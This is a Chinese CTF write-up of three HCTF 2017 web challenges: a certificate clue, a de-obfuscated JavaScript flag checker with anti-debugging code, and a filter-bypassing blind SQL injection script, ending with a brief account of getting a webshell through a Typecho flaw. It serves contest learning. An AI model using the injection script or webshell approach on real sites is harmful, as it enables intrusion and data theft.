七星网络安全

2017HCTF 三道Web题解

2017-12-02  本文已影响19人  rivir

总结: 今年HCTF 比较难,总共两天就作出三道题,第二关的js逆向题更是做了快一天了,之前对js调试没有接触过, 就一直用chrome的调试窗口调试js, 看了一天眼睛都看花了,最后把js所有逻辑都分析了一遍才艰难的做出来

easy_sign_in

用chrome浏览器打开后页面显示Why does your browser issue a warning? 而且网站的https的图标被报警告了, 结合提示,应该是证书的问题,使用的自签名的证书而不是CA颁发的证书, 推荐用Firefox浏览器打开查看证书信息 或者下载证书下来用openssl查看:

❰root❙/home/ctfwp2017/HCTF/Web❱✔≻ openssl x509 -noout -text -in flag.crt 
Certificate:
    Data:
        Version: 1 (0x0)
        Serial Number:
            f5:02:e2:6f:2e:c9:e8:3e
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C = CN, L = Default City, O = 123.206.81.217, OU = flag in:
        Validity
            Not Before: Nov  8 08:17:41 2017 GMT
            Not After : Nov  6 08:17:41 2027 GMT
        Subject: C = CN, L = Default City, O = 123.206.81.217, OU = flag in:
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (1024 bit)
                Modulus:
                    00:b7:5d:f3:ed:17:01:c2:82:1c:39:70:20:cf:9e:
                    09:3d:ea:d2:06:8b:ec:46:f2:3a:68:a9:43:94:33:
                    ce:93:fe:1e:b8:f1:59:21:dd:81:d1:9b:1d:37:ec:
                    74:19:25:53:13:4f:9d:a9:bc:13:87:03:33:32:9b:
                    6b:37:67:4c:99:3a:69:6f:9f:2d:c2:a7:41:ef:10:
                    ef:bd:35:d2:b7:73:e3:01:fa:9c:16:6e:d9:f3:ee:
                    84:cd:32:c7:cd:83:30:12:83:6d:f8:fd:70:89:21:
                    f3:71:bd:e0:7f:f7:03:12:92:f9:86:ec:21:88:8a:
                    0f:68:55:82:ed:18:a8:f8:59
                Exponent: 65537 (0x10001)
    Signature Algorithm: sha256WithRSAEncryption
         6d:f3:d6:9e:bc:1d:51:01:2d:16:7d:22:f1:ca:22:03:fe:2e:
         8a:2c:14:68:43:ca:4e:5a:f8:ab:b0:16:5a:5c:2a:54:72:2a:
         7f:ea:44:9c:fc:36:df:d5:95:4f:fc:44:fb:da:9f:20:95:a4:
         a6:d2:02:6a:a5:57:56:2d:17:94:b2:29:56:5b:53:5d:1a:54:
         fe:e0:d8:04:ae:57:6d:ee:57:bb:15:9c:f9:35:39:23:ca:3f:
         3d:cb:a3:3a:0e:91:7d:7e:09:ee:3a:ea:98:d6:1b:52:ae:23:
         34:e9:66:24:e6:5b:53:cc:40:eb:ce:ee:73:6a:33:f0:3f:75:
         40:22

我们根据提示来看下Issuer字段都有那些东西Issuer: C = CN, L = Default City, O = 123.206.81.217, OU = flag in:
C(Country)是国家CN, L(Locality)是城市,Default City, O(Organization)是组织, OU其他内容为: flag in

发现组织这里有一个陌生的ip, 访问即可得到flag

BabyCrack

描述
just babycrack
1.flag.substr(-5,3)=="333"
2.flag.substr(-8,1)=="3"
3.Every word makes sence.
4.sha256(flag)=="d3f154b641251e319855a73b010309a168a12927f3873c97d2e5163ea5cbb443"
Please make sure hint 4!!!

查看源代码发现=_=.js中有一大段js代码,就补贴了, 这里利用chrome的调试器格式化一下js代码即可

下面是程序的大致框架, 强烈建议对一些常用函数改名,因为看到满屏十六进制函数名你会感觉到出题人深深的恶意的, 下面是我对一些函数改名后的代码

var strDict = ['random', 'charCodeAt', 'fromCharCode', 'parse', 'substr', '\x5cw+', 'replace', '(3(){(3\x20a(){7{(3\x20b(2){9((\x27\x27+(2/2)).5!==1||2%g===0){(3(){}).8(\x274\x27)()}c{4}b(++2)})(0)}d(e){f(a,6)}})()})();', '||i|function|debugger|length|5000|try|constructor|if|||else|catch||setTimeout|20', 'pop', 'length', 'join', 'getElementById', 'message', 'log', 'Welcome\x20to\x20HCTF:>', 'Congratulations!\x20you\x20got\x20it!', 'Sorry,\x20you\x20are\x20wrong...', 'window.console.clear();window.console.log(\x27Welcome\x20to\x20HCTF\x20:>\x27)', 'version', 'error', 'download', 'substring', 'push', 'Function', 'charAt', 'idle', 'pyW5F1U43VI', 'init', 'https://the-extension.com', 'local', 'storage', 'eval', 'then', 'get', 'getTime', 'setUTCHours', 'origin', 'set', 'GET', 'loading', 'status', 'removeListener', 'onUpdated', 'callee', 'addListener', 'onMessage', 'runtime', 'executeScript', 'data', 'test', 'http://', 'Url\x20error', 'query', 'filter', 'active', 'floor'];
(function(_0xd4b7d6, _0xad25ab) {
    var _0x5e3956 = function(_0x1661d3) {
        while (--_0x1661d3) {
            _0xd4b7d6['push'](_0xd4b7d6['shift']());
        }
    };
    _0x5e3956(++_0xad25ab);
}(strDict, 0x1a2));
var getStr = function(_0x5c351c, _0x2046d8) {
    _0x5c351c = _0x5c351c - 0x0;
    var _0x26f3b3 = strDict[_0x5c351c];
    return _0x26f3b3;
};
function check(_0x5b7c0c) {
}
...
...
...

function test() {
    var _0x5bf136 = document[getStr('0x32')](getStr('0x33'))['value'];
    if (_0x5bf136 == '') {
        console[getStr('0x34')](getStr('0x35'));
        return ![];
    }
    var _0x4d0e29 = check(_0x5bf136);
    if (_0x4d0e29) {
        alert(getStr('0x36'));
    } else {
        alert(getStr('0x37'));
    }
}
window['onload'] = function() {
    setInterval(getStr('0x38'), 0x32);
    test();
}
;

程序的如扩函数是test(), 获取我们输入的值(flag), 调用check()来验证,如果返回非0,则弹框成功,否则弹框失败

我们来看下check()这个主要的验证函数:

        var strDict2 = ['code', getStr('0x0'), getStr('0x1'), getStr('0x2'), 'invalidMonetizationCode', getStr('0x3'), getStr('0x4'), getStr('0x5'), getStr('0x6'), getStr('0x7'), getStr('0x8'), getStr('0x9'), getStr('0xa'), getStr('0xb'), getStr('0xc'), getStr('0xd'), getStr('0xe'), getStr('0xf'), getStr('0x10'), getStr('0x11'), 'url', getStr('0x12'), getStr('0x13'), getStr('0x14'), getStr('0x15'), getStr('0x16'), getStr('0x17'), getStr('0x18'), 'tabs', getStr('0x19'), getStr('0x1a'), getStr('0x1b'), getStr('0x1c'), getStr('0x1d'), 'replace', getStr('0x1e'), getStr('0x1f'), 'includes', getStr('0x20'), 'length', getStr('0x21'), getStr('0x22'), getStr('0x23'), getStr('0x24'), getStr('0x25'), getStr('0x26'), getStr('0x27'), getStr('0x28'), getStr('0x29'), 'toString', getStr('0x2a'), 'split'];
        var _0x50559f = _0x5b7c0c[strDict2[0x5]](0x0, 0x4);
        var _0x5cea12 = parseInt(btoa(_0x50559f), 0x20);
        eval(function(_0x200db2, _0x177f13, _0x46da6f, _0x802d91, _0x2d59cf, _0x2829f2) {
            _0x2d59cf = function(_0x4be75f) {
                return _0x4be75f['toString'](_0x177f13);
            }
            ;
            if (!''['replace'](/^/, String)) {
                while (_0x46da6f--)
                    _0x2829f2[_0x2d59cf(_0x46da6f)] = _0x802d91[_0x46da6f] || _0x2d59cf(_0x46da6f);
                _0x802d91 = [function(_0x5e8f1a) {
                    return _0x2829f2[_0x5e8f1a];
                }
                ];
                _0x2d59cf = function() {
                    return getStr('0x2b');
                }
                ;
                _0x46da6f = 0x1;
            }
            ;while (_0x46da6f--)
                if (_0x802d91[_0x46da6f])
                    _0x200db2 = _0x200db2[getStr('0x2c')](new RegExp('\x5cb' + _0x2d59cf(_0x46da6f) + '\x5cb','g'), _0x802d91[_0x46da6f]);
            return _0x200db2;
        }(getStr('0x2d'), 0x11, 0x11, getStr('0x2e')['split']('|'), 0x0, {}));
    

check 定义了大量的函数,要学会分析去掉一些混淆无用的函数, 比如开头的eval函数,比较复杂,分析了好久,最后才发现执行一段反调试的程序,导致程序一运行到这里就进入死循环, 我被坑在这里好久,最后才反映过来, 浪费了大量的时间
我们看下eval函数的传入的参数:(getStr('0x2d'), 0x11, 0x11, getStr('0x2e')['split']('|'), 0x0, {})) 并没有传入我们输入的值,因此是一个混淆的无用函数,这里可以选择注释或者把eval改成alert 查看下最后执行的是什么内容

(function () {
  (function a() {
    try {
      (function b(i) {
        if (('' + (i / i)).length !== 1 || i % 20 === 0) {
          (function () {
          }).constructor('debugger') ()
        } else {
          debugger
        }
        b(++i)
      }) (0)
    } catch (e) {
      setTimeout(a, 5000)
    }
  }) ()
}) ();

最后eval 函数执行这样的一段匿名函数, 导致一直无法继续调试下去,这里我们选择注释然后继续看下面的内容

    (function(_0x3291b7, _0xced890) {
        var _0xaed809 = function(_0x3aba26) {
            while (--_0x3aba26) {
                _0x3291b7[getStr('0x4')](_0x3291b7['shift']());
            }
        };
        _0xaed809(++_0xced890);
    }(strDict2, _0x5cea12 % 0x7b));
    var getStr2 = function(_0x3120e0) {
        var _0x3120e0 = parseInt(_0x3120e0, 0x10);
        var _0x3a882f = strDict2[_0x3120e0];
        return _0x3a882f;
    };
    var tohex = function(_0x52ba71) {
        var _0x52b956 = '0x';
        for (var _0x59c050 = 0x0; _0x59c050 < _0x52ba71[getStr2(0x8)]; _0x59c050++) {
            _0x52b956 += _0x52ba71[getStr2('f')](_0x59c050)[getStr2(0xc)](0x10);
        }
        return _0x52b956;
    };

之后又定义了一个无用的匿名函数(匿名函数无法被调用,因此一般是没有用的), 可以选择step over 跳过去, getStr2() 函数是一个获取strDict2数组元素的函数, tohex()函数是一个字符串转hex的函数

        var _0x76e1e8 = _0x5b7c0c["split"]('_');
        var _0x34f55b = (tohex(_0x76e1e8[0x0][getStr2(0xd)](-0x2, 0x2)) ^ tohex(_0x76e1e8[0x0][getStr2(0xd)](0x4, 0x1))) % _0x76e1e8[0x0][getStr2(0x8)] == 0x5;
        if (!_0x34f55b) {
            return ![];
        }
        b2c = function(_0x3f9bc5) {  //对第三个参数base32
            var _0x3c3bd8 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
            var _0x4dc510 = [];
            var _0x4a199f = Math[getStr('0x25')](_0x3f9bc5[getStr2(0x8)] / 0x5);
            var _0x4ee491 = _0x3f9bc5[getStr2(0x8)] % 0x5;
            if (_0x4ee491 != 0x0) {
                for (var _0x1e1753 = 0x0; _0x1e1753 < 0x5 - _0x4ee491; _0x1e1753++) {
                    _0x3f9bc5 += '';
                }
                _0x4a199f += 0x1;
            }
            for (_0x1e1753 = 0x0; _0x1e1753 < _0x4a199f; _0x1e1753++) {
                _0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')](_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5) >> 0x3));
                _0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')]((_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5) & 0x7) << 0x2 | _0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x1) >> 0x6));
                _0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')]((_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x1) & 0x3f) >> 0x1));
                _0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')]((_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x1) & 0x1) << 0x4 | _0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x2) >> 0x4));
                _0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')]((_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x2) & 0xf) << 0x1 | _0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x3) >> 0x7));
                _0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')]((_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x3) & 0x7f) >> 0x2));
                _0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')]((_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x3) & 0x3) << 0x3 | _0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x4) >> 0x5));
                _0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')](_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x4) & 0x1f));
            }
            var _0x545c12 = 0x0;
            if (_0x4ee491 == 0x1)
                _0x545c12 = 0x6;
            else if (_0x4ee491 == 0x2)
                _0x545c12 = 0x4;
            else if (_0x4ee491 == 0x3)
                _0x545c12 = 0x3;
            else if (_0x4ee491 == 0x4)
                _0x545c12 = 0x1;
            for (_0x1e1753 = 0x0; _0x1e1753 < _0x545c12; _0x1e1753++)
                _0x4dc510[getStr('0x2f')]();
            for (_0x1e1753 = 0x0; _0x1e1753 < _0x545c12; _0x1e1753++)
                _0x4dc510[getStr2('1b')]('=');
            // (function() {
            //     (function _0x3c3bd8() {
            //         try {
            //             (function _0x4dc510(_0x460a91) {
            //                 if (('' + _0x460a91 / _0x460a91)[getStr('0x30')] !== 0x1 || _0x460a91 % 0x14 === 0x0) {
            //                     (function() {}
            //                     ['constructor']('debugger')());
            //                 } else {
            //                     debugger ;
            //                 }
            //                 _0x4dc510(++_0x460a91);
            //             }(0x0));
            //         } catch (_0x30f185) {
            //             setTimeout(_0x3c3bd8, 0x1388);
            //         }
            //     }());
            // }());
            return _0x4dc510[getStr('0x31')]('');
        }
        ;

var _0x76e1e8 = _0x5b7c0c["split"]('_'); 把flag根据_分隔成几个子串,还是去年的套路,把flag分成几段,分别去解出来,然后拼接起来

var _0x34f55b = (tohex(_0x76e1e8[0x0][getStr2(0xd)](-0x2, 0x2)) ^ tohex(_0x76e1e8[0x0][getStr2(0xd)](0x4, 0x1))) % _0x76e1e8[0x0][getStr2(0x8)] == 0x5;
        if (!_0x34f55b) {
            return ![];
        }

这里判断了第一个子串,用子串后两位异或第五位对子串长度求余,如果结果不等于5, 就退出程序,flag第五位是{, 第一个子串猜测长度为7(这里只出现了7位),写一个脚本去爆破后两位:

import exrex
pattern = '[0123456789abcdefghijklmnopqrstuvwxyz]{2}'
for i in exrex.generate(pattern):
    if (int((i).encode('hex'),16) ^ 0x7b) % 7 == 5:
        print 'res:',i 

得到很多个结果,我们选择一个js 先暂时绕过这个判断(最后是需要根据提供的flag的hash值去爆破的), 于是我们得到第一个字串长度为flag[0] = 'hctf{js'

继续看b2c函数, 该函数通过分析发现是一个str 转base32的函数(可以通过直接看返回值,跳过一步一步调试的去看, 中间一个匿名函数也是反调试的混淆代码,这里直接注释了)

        e = tohex(b2c(_0x76e1e8[0x2])["split"]('=')[0x0]) ^ 0x53a3f32;  //去掉= 后转hex
        if (e != 0x4b7c0a73) {  //NF5A  iz
            return ![];
        }
        f = tohex(b2c(_0x76e1e8[0x3])["split"]('=')[0x0]) ^ e;  //OMYA  s0
        if (f != 0x4315332) {
            return ![];
        }
        n = f * e * _0x76e1e8[0x0][getStr2(0x8)];
        h = function(_0x4c466e, _0x28871) {
            var _0x3ea581 = '';
            for (var _0x2fbf7a = 0x0; _0x2fbf7a < _0x4c466e[getStr2(0x8)]; _0x2fbf7a++) {
                _0x3ea581 += _0x28871(_0x4c466e[_0x2fbf7a]);
            }
            return _0x3ea581;
        }
        ;
        j = _0x76e1e8[0x1]["split"]('3');
        if (j[0x0][getStr2(0x8)] != j[0x1][getStr2(0x8)] || (tohex(j[0x0]) ^ tohex(j[0x1])) != 0x1613) {
            return ![];
        }
        k = _0xffcc52=>_0xffcc52[getStr2('f')]() * _0x76e1e8[0x1][getStr2(0x8)];
        l = h(j[0x0], k);
        if (l != 0x2f9b5072) {
            return ![];
        }
        m = tohex(_0x76e1e8[0x4][getStr2(0xd)](0x0, 0x4)) - 0x48a05362 == n % l;
        function _0x5a6d56(_0x5a25ab, _0x4a4483) {
            var _0x55b09f = '';
            for (var _0x508ace = 0x0; _0x508ace < _0x4a4483; _0x508ace++) {
                _0x55b09f += _0x5a25ab;
            }
            return _0x55b09f;
        }
        if (!m || _0x5a6d56(_0x76e1e8[0x4][getStr2(0xd)](0x5, 0x1), 0x2) == _0x76e1e8[0x4][getStr2(0xd)](-0x5, 0x4) || _0x76e1e8[0x4][getStr2(0xd)](-0x2, 0x1) - _0x76e1e8[0x4][getStr2(0xd)](0x4, 0x1) != 0x1) {
            return ![];
        }
        o = tohex(_0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2))[getStr2(0xd)](0x2) == _0x76e1e8[0x4][getStr2(0xd)](0x6, 0x1)[getStr2('f')]() * _0x76e1e8[0x4][getStr2(0x8)] * 0x5;
        tohex(_0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2))[getStr2(0xd)](0x2)
        return o && _0x76e1e8[0x4][getStr2(0xd)](0x4, 0x1) == 0x2 && _0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2) == _0x5a6d56(_0x76e1e8[0x4][getStr2(0xd)](0x7, 0x1), 0x2);

e和 f都是对flag[2],flag[3] 进行判断的,都只是简单地异或操作,解出来是iz和s0,
j = _0x76e1e8[0x1]["split"]('3'); 这一段又把flag[1]分成了两个字串j[0],j[1], 判断条件为:j[0x0][getStr2(0x8)] != j[0x1][getStr2(0x8)] || (tohex(j[0x0]) ^ tohex(j[0x1])) != 0x1613

也是一个异或操作, 并不能确定具体是什么,我们继续来看, k定义了一个类似lambda的函数_0xffcc52=>_0xffcc52[getStr2('f')]() * _0x76e1e8[0x1][getStr2(0x8)], 然后把j[0]和k都传入h函数, h函数把j[0]的每一位都传入k函数然后对结果拼接起来,最后需要等于0x2f9b5072, js的弱类型会认为 12 == 0xc,即数字字符串12和0xc是相同的, 0x2f9b5072=798707826, 把798,707,826 分别传入通过逆回去,flag[1]长度为7, 解出来j[0]为rev, 通过第一次的异或的比较,得到另一串为rse, 因此flag[1] = rev3rse

m 是对flag[4]的前四位的判断, 算出来是h4rd, _0x5a6d56是一个repeat函数, 后面两个判断都是对flag[4]子串进行判断的:

 if (!m || _0x5a6d56(_0x76e1e8[0x4][getStr2(0xd)](0x5, 0x1), 0x2) == _0x76e1e8[0x4][getStr2(0xd)](-0x5, 0x4) || _0x76e1e8[0x4][getStr2(0xd)](-0x2, 0x1) - _0x76e1e8[0x4][getStr2(0xd)](0x4, 0x1) != 0x1) {
        return ![];
    }
    o = tohex(_0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2))[getStr2(0xd)](0x2) == _0x76e1e8[0x4][getStr2(0xd)](0x6, 0x1)[getStr2('f')]() * _0x76e1e8[0x4][getStr2(0x8)] * 0x5;
   
    return o && _0x76e1e8[0x4][getStr2(0xd)](0x4, 0x1) == 0x2 && _0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2) == _0x5a6d56(_0x76e1e8[0x4][getStr2(0xd)](0x7, 0x1), 0x2);

这段代码比较绕,我们需要迅速找到能够快速确定值的地方,比如_0x76e1e8[0x4][getStr2(0xd)](0x4, 0x1) == 0x2 我们就可以确定第第五位是2, 反推前面_0x76e1e8[0x4][getStr2(0xd)](-0x2, 0x1) - _0x76e1e8[0x4][getStr2(0xd)](0x4, 0x1) != 0x1) 可以确定倒数第二位是3

这个时候我们可以确定的内容还是比较少,我们回到题目的一些提示

1.flag.substr(-5,3)=="333"
2.flag.substr(-8,1)=="3"

题目给出了这四位的值, 第一个判断有一个是这样的_0x5a6d56(_0x76e1e8[0x4][getStr2(0xd)](0x5, 0x1), 0x2) == _0x76e1e8[0x4][getStr2(0xd)](-0x5, 0x4)

需要让这个条件不成立,(0x5, 0x1)是未知的,(-0x5, 0x4)我们知道是"3333", 我们可以大胆猜想(5,1) =(-8,1)= "3" , 这样,我们第四个子串的已知部分为: h4rd23**3333}

只剩下第七位和第八位了, 通过_0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2) == _0x5a6d56(_0x76e1e8[0x4][getStr2(0xd)](0x7, 0x1), 0x2) 这个判断我们知道第七位和第八位应该是相同的(用了_0x5a6d56这个repeat函数),
o = tohex(_0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2))[getStr2(0xd)](0x2) == _0x76e1e8[0x4][getStr2(0xd)](0x6, 0x1)[getStr2('f')]() * _0x76e1e8[0x4][getStr2(0x8)] * 0x5; 这个判断需要我们学一个脚本去爆破下看那些符合这个条件的字符:

s = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTU!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
for i in s:
    #print ord(i)*13*5
    try:
        if int((i+i).encode('hex').replace('0x','')) == ord(i)*13*5:
            print i
    except:
        pass

最后爆出来字符e满足,所有最后的flag应该是: hctf{js_rev3rse_iz_s0_h4rd23ee3333}, 提交到输入框中确实弹出答案正确,但提交flag却显示错误, 这就是为什么题目给了flag的hash值了, 因为js这两位是不确定的,可以是其他的字符串,因此这里通过hash来爆破flag

import hashlib

pattern = '[0123456789abcdefghijklmnopqrstuvwxyz]{2}'
for i in exrex.generate(pattern):
    if (int((i).encode('hex'),16) ^ 0x7b) % 7 == 5:
        print 'res:',i 
        flag = "hctf{%s_rev3rse_iz_s0_h4rd23ee3333}"%i 
        if hashlib.new('sha256',flag).hexdigest() == 'd3f154b641251e319855a73b010309a168a12927f3873c97d2e5163ea5cbb443':
            print flag 
            break

最后解出来flag为: hctf{j5_rev3rse_iz_s0_h4rd23ee3333}

SQL Silencer

描述
What you need is in database

手动fuzz下发现过滤了+,-,*,空格,password,order,limit,and,or,'' infomation,table_name 这些, 试了下id=2|3, id=2|2 发现可以控制id,说明存在注入,这里我用的payload为id=1^1^1, 脚本如下:

#!/usr/bin/env python
#coding:utf-8
import requests
import urllib

url = "http://sqls.2017.hctf.io/index/index.php?id="
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}
#hex_s = '  !"#$%&`()*+,-./0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}~'
hex_s = ["20","21","22","23","24","25","26","27","28","29","2A","2B","2C","2D","2E","2F","30","31","32","33","34","35","36","37","38","39","3A","3B","3C","3C","3D","3E","3F","40","41","42","43","44","45","46","47","48","49","4A","4B","4C","4D","4E","4F","50","51","52","53","54","55","56","57","58","59","5A","5B","5C","5D","5E","5F","60","61","62","63","64","65","66","67","68","69","6A","6B","6C","6D","6E","6F","70","71","72","73","74","75","76","77","78","79","7A","7B","7D","7E","7F"]
old_char = ''
payload = "1^((select%0aflag%0afrom%0aflag%0awhere%0aflag>binary(0x60))>binary(0x{}))^1"


def access(p):
    param = payload.format(old_char+p)
    res = requests.get(url+param,headers=headers).content
    #print param,res
    if 'Alice' in res:
        return True
    else:
        return False    

def erfen():
    global old_char
    for y in hex_s:
        l = 0
        r = len(hex_s)
        while l<r:
            mid = (l+r)/2
            if access(hex_s[mid]): # 如果为1,说明flag该位的值大于mid
                l = mid+1
            else:
                r = mid
        old_char += hex_s[l-1]
        #print l
        if l > 94:
            return old_char[:-2].decode('hex')
            break
        print 'data => ',old_char.decode('hex')

if __name__ == '__main__':
    s = erfen()
    print 'flag:',s[:-1]+chr(ord(s[-1])+1)

有一处比较坑的地方是: flag表里面有不止一条数据, 还禁用了limit函数,导致只取一条数据,这里利用where flag>binary(0x50) 再做一次筛选即可

发现flag表里面有两条数据:

./H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/  
What_U_n33d_1s_under_m3

访问这个目录403, 扫目录后发现了一些有趣的文件比如admin/index.php
, 从后台可以看出这是一个typecho的站点,想到前不久刚爆出的typecho的漏洞,之前正好也分析了一波, 这里直接上传到根目录是没有权限的,我们可以上传到uploads目录下面, 最后成功getshell 菜刀连上去在根目录发现flag

上一篇 下一篇

猜你喜欢

热点阅读